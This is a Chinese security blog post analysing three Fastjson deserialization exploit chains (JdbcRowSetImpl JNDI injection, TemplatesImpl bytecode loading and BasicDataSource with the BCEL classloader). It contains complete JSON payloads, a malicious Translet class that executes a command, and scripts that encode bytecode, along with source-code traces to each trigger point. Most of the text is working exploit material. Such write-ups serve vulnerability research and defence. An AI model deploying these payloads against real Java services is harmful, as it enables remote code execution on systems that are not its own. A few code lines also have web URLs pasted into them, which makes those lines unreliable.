Fastjson 的 3 種漏洞利用鏈，一起來看看！-有解無憂

作者：4ra1n
來源：https://www.anquanke.com/post/id/248892

Fastjson已被大家分析過很多次，本文主要是對三種利用鏈做分析和對比

JdbcRowSetImpl

String payload = "{\n" +
    "    \"a\":{\n" +
    "        \"@type\":\"java.lang.Class\",\n" +
    "        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
    "    },\n" +
    "    \"b\":{\n" +
    "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
    "        \"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n" +
    "        \"autoCommit\":true\n" +
    "    }\n" +
    "}";
JSON.parse(payload);

payload中的a物件用來當作快取繞過，需要關注的是第二個物件

注意到其中"autoCommit":true，反序列化時，會反射設定屬性，呼叫com.sun.rowset.JdbcRowSetImpl.setAutoCommit()

    public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            // conn為空才會呼叫到這里
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }
    }

跟入com.sun.rowset.JdbcRowSetImpl.connect()，觸發lookup，加載遠程惡意物件

protected Connection connect() throws SQLException {
    if (this.conn != null) {
        return this.conn;
    } else if (this.getDataSourceName() != null) {
        try {
            // conn為空且dataSourceName不為空才會到這里
            InitialContext var1 = new InitialContext();
            // 成功觸發JNDI注入
            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

根據lookup到com.sun.jndi.rmi.registry.RegistryContext.lookup()

    public Object lookup(Name var1) throws NamingException {
        if (var1.isEmpty()) {
            ......
            return this.decodeObject(var2, var1.getPrefix(1));
        }
    }

跟入decodeObject方法，看到加載了遠程Reference系結的惡意物件

Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);

總結：

實戰可以利用，JDNI注入基于較低版本的JDK，LDAP適用范圍更廣
必須能出網，加載遠端的惡意位元組碼，造成了局限性

TemplateImpl

String payload = "{\"a\":{\n" +
    "\"@type\":\"java.lang.Class\",\n" +
    "\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n" +
    "},\n" +
    "\"b\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
    "\"_bytecodes\":[\"!!!Payload!!!\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{}}";
JSON.parse(payload, Feature.SupportNonPublicField);

注意其中的Payload來自于惡意類，該類應該繼承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

public class TEMPOC extends AbstractTranslet {
    public TEMPOC() throws IOException {
        Runtime.getRuntime().exec("calc.exe");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
    }
    public static void main(String[] args) throws Exception {
        TEMPOC t = new TEMPOC();
    }
}

類似第一條鏈，使用兩個物件繞過，其中的Payload為惡意類的位元組碼再Base64編碼的結果，給出簡易的py腳本

fin = open(r"PATH-TO-TEMPOC.class", "rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
print(fout)

該鏈需要開啟Feature.SupportNonPublicField引數再反射設定屬性，查看官方說明，如果某屬性不存在set方法，但還想設定值時，需要開啟該引數，這里的情況正好符合，而實際專案中很少出現這種情況，導致該鏈較雞肋，沒有實際的意義（其實TemplateImpl類中有set方法，比如setTransletBytecodes，但是名稱和Bytecodes不一致）

在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField設定屬性時會有判斷

final int mask = Feature.SupportNonPublicField.mask;
if (fieldDeserializer == null
    && (lexer.isEnabled(mask)
        || (this.beanInfo.parserFeatures & mask) != 0)) {
    ......

反序列化時，fastjson中會把”_”開頭的屬性替換為空，并在outputProperties設定值時呼叫getOutputProperties

   public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

呼叫到com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer方法

transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);

跟入getTransletInstance

// name不能為空所以在payload中設定a.b
if (_name == null) return null;
// 關鍵
if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

再跟入defineTransletClasses，對父類進行了驗證，這樣解釋了為什么Payload惡意類要繼承自該類，如果驗證沒有問題，將在上方的newInstance方法中實體化該類，造成RCE

private static String ABSTRACT_TRANSLET
        = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
    _transletIndex = i;
}

為什么_bytescode要對位元組碼進行base64編碼？反序列化的程序中會呼叫很多類，在經過該類com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze的時候，會對欄位進行一次base64的解碼

......
if (token == JSONToken.LITERAL_STRING || token == JSONToken.HEX) {
    byte[] bytes = lexer.bytesValue();
    ......

跟入lexer.bytesValue()方法，看到decodeBase64

public byte[] bytesValue() {
    ......
    // base64解碼
    return IOUtils.decodeBase64(buf, np + 1, sp);
}

總結：

TemplatesImpl類是Java反序列化界比較常用的類，更容易理解和上手
需要開啟Feature.SupportNonPublicField，實戰中不適用

BasicDataSource

String payload = "{\n" +
    "    \"name\":\n" +
    "    {\n" +
    "        \"@type\" : \"java.lang.Class\",\n" +
    "        \"val\"   : \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"\n" +
    "    },\n" +
    "    \"x\" : {\n" +
    "        \"name\": {\n" +
    "            \"@type\" : \"java.lang.Class\",\n" +
    "            \"val\"   : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
    "        },\n" +
    "        \"y\": {\n" +
    "            \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +
    "            \"c\": {\n" +
    "                \"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
    "                \"driverClassLoader\": {\n" +
    "                    \"@type\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
    "                },\n" +
    "                \"driverClassName\":\"!!!Payload!!!\",\n" +
    "\n" +
    "                     \"$ref\": \"$.x.y.c.connection\"\n" +
    "\n" +
    "            }\n" +
    "        }\n" +
    "    }\n" +
    "}";
JSON.parse(payload);

這個Payload適用于1.2.37版本，并且需要匯入Tomcat相關的包

<dependencies>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.37</version>
    </dependency>
    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-dbcp</artifactId>
        <version>8.0.36</version>
    </dependency>
</dependencies>

生成driverClassName的工具如下

import com.sun.org.apache.bcel.internal.util.ClassLoader;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.Repository;

public class Test {
    public static void main(String[] args) throws Exception {
        JavaClass cls = Repository.lookupClass(Exp.class);
        String code = Utility.encode(cls.getBytes(), true);
        code = "$$BCEL$$" + code;
        new ClassLoader().loadClass(code).newInstance();
        System.out.println(code);
    }
}

BCEL的全名是Apache Commons BCEL，Apache Commons專案下的一個子專案，包含在JDK的原生庫中，我們可以通過BCEL提供的兩個類 Repository 和 Utility 來利用：Repository 用于將一個Java Class先轉換成原生位元組碼，當然這里也可以直接使用javac命令來編譯java檔案生成位元組碼；Utility 用于將原生的位元組碼轉換成BCEL格式的位元組碼，

生成的BCEL格式大概如下：

$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$......

將這種格式的字串，作為“位元組碼”傳入new ClassLoader().loadClass(code).newInstance();將會被實體化，當我們在Fastjson反序列化中構造出這種鏈，將會造成反序列化漏洞

回到Payload，開頭一部分用于繞Fastjson黑白名單，沒有什么特殊的意義，核心部分如下：

"x" : {
    "name": {
        "@type" : "java.lang.Class",
        "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
    "y": {
        "@type":"com.alibaba.fastjson.JSONObject",
        "c": {
            "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
            "driverClassLoader": {
                "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
            },
            "driverClassName":"!!!Payload!!!",
            "$ref": "$.x.y.c.connection"
        }
    }
}

這個版本利用的是$ref這個特性：當fastjson版本>=1.2.36時，我們可以使用$ref的方式來呼叫任意的getter，比如這個Payload呼叫的是x.y.c.connection，x是這個大物件，最終呼叫的是c物件的connection方法，也就是BasicDataSource.connection

參考代碼com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze:591

if ("$ref" == key && context != null) {
    // 傳入的ref是$.x.y.c.connection，匹配到else
    if ("@".equals(ref)) {
        ...
    } else if ("..".equals(ref)) {
        ...
    } else if ("$".equals(ref)) {
        ...
    } else {
        Object refObj = parser.resolveReference(ref);
        if (refObj != null) {
            object = refObj;
        } else {
            // 將$.x.y.c.connection加入到Task
            parser.addResolveTask(new ResolveTask(context, ref));
            parser.resolveStatus = DefaultJSONParser.NeedToResolve;
        }
    }
}
// 處理后設定到context
parser.setContext(context, object, fieldName);

漏洞的觸發點在com.alibaba.fastjson.JSON.parse:154

parser.handleResovleTask(value);

跟入com.alibaba.fastjson.parser.DefaultJSONParser.handleResovleTask:1465

if (ref.startsWith("$")) {
    refValue = https://www.cnblogs.com/javastack/p/getObject(ref);
    if (refValue == null) {
        try {
            // 看到eval感覺有東西
            refValue = JSONPath.eval(value, ref);
        } catch (JSONPathException ex) {
            // skip
        }
    }
}

跟入JSONPath.eval，這里的segement陣列中的是[x,y,c,connection]

public Object eval(Object rootObject) {
    if (rootObject == null) {
        return null;
    }

    init();

    Object currentObject = rootObject;
    for (int i = 0; i < segments.length; ++i) {
        Segement segement = segments[i];
        // 繼續跟入
        currentObject = segement.eval(this, rootObject, currentObject);
    }
    return currentObject;
}

到達com.alibaba.fastjson.JSONPath:1350

public Object eval(JSONPath path, Object rootObject, Object currentObject) {
    if (deep) {
        List<Object> results = new ArrayList<Object>();
        path.deepScan(currentObject, propertyName, results);
        return results;
    } else {
        // return path.getPropertyValue(currentObject, propertyName, true);
        return path.getPropertyValue(currentObject, propertyName, propertyNameHash);
    }
}

繼續跟入path.getPropertyValue

protected Object getPropertyValue(Object currentObject, String propertyName, long propertyNameHash) {
    if (currentObject == null) {
        return null;
    }
    if (currentObject instanceof Map) {
        Map map = (Map) currentObject;
        Object val = map.get(propertyName);

        if (val == null && SIZE == propertyNameHash) {
            val = map.size();
        }

        return val;
    }

    final Class<?> currentClass = currentObject.getClass();

    JavaBeanSerializer beanSerializer = getJavaBeanSerializer(currentClass);
    if (beanSerializer != null) {
        try {
            // 最后一次回圈到達這里
            return beanSerializer.getFieldValue(currentObject, propertyName, propertyNameHash, false);
        } catch (Exception e) {
            throw new JSONPathException("jsonpath error, path " + path + ", segement " + propertyName, e);
        }
    }

跟入com.alibaba.fastjson.serializer.JavaBeanSerializer:439

public Object getFieldValue(Object object, String key, long keyHash, boolean throwFieldNotFoundException) {
    FieldSerializer fieldDeser = getFieldSerializer(keyHash);
    ......
    // 跟入
    return fieldDeser.getPropertyValue(object);
}

跟入com.alibaba.fastjson.serializer.FieldSerializer:145

public Object getPropertyValue(Object object) throws InvocationTargetException, IllegalAccessException {
    Object propertyValue =  https://www.cnblogs.com/javastack/p/fieldInfo.get(object);

到達com.alibaba.fastjson.util.FieldInfo，達到最終觸發點：method.invoke

public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
    return method != null
            ? method.invoke(javaObject)
            : field.get(javaObject);
}

看到這里的javaObject正是BasicDataSouce

回到BasicDataSource本身

public Connection getConnection() throws SQLException {
    if (Utils.IS_SECURITY_ENABLED) {
        // 跟入
        final PrivilegedExceptionAction<Connection> action = new PaGetConnection();
        try {
            return AccessController.doPrivileged(action);
        } catch (final PrivilegedActionException e) {
            final Throwable cause = e.getCause();
            if (cause instanceof SQLException) {
                throw (SQLException) cause;
            }
            throw new SQLException(e);
        }
    }
    return createDataSource().getConnection();
}
    private class PaGetConnection implements PrivilegedExceptionAction<Connection> {

        @Override
        public Connection run() throws SQLException {
            // 跟入createDataSource()
            return createDataSource().getConnection();
        }
    }
// 繼續跟入createConnectionFactory()
final ConnectionFactory driverConnectionFactory = createConnectionFactory();

最終觸發點，其中driverClassName和driverClassLoader都是可控的，由用戶輸入，指定ClassLoader為com.sun.org.apache.bcel.internal.util.ClassLoader，設定ClassName為BCEL...這種格式后，在newInstance方法執行后被實體化，第二個引數initial為true時，類加載后將會直接執行static{}塊中的代碼，

if (driverClassLoader == null) {
    driverFromCCL = Class.forName(driverClassName);
} else {
    driverFromCCL = Class.forName(
        driverClassName, true, driverClassLoader);
}
...
driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
...
driverToUse = (Driver) driverFromCCL.newInstance();

總結：

不需要出網，不需要開啟特殊的引數，適用范圍較廣
目標需要引入tomcat依賴，雖說比較常見，但也是一種限制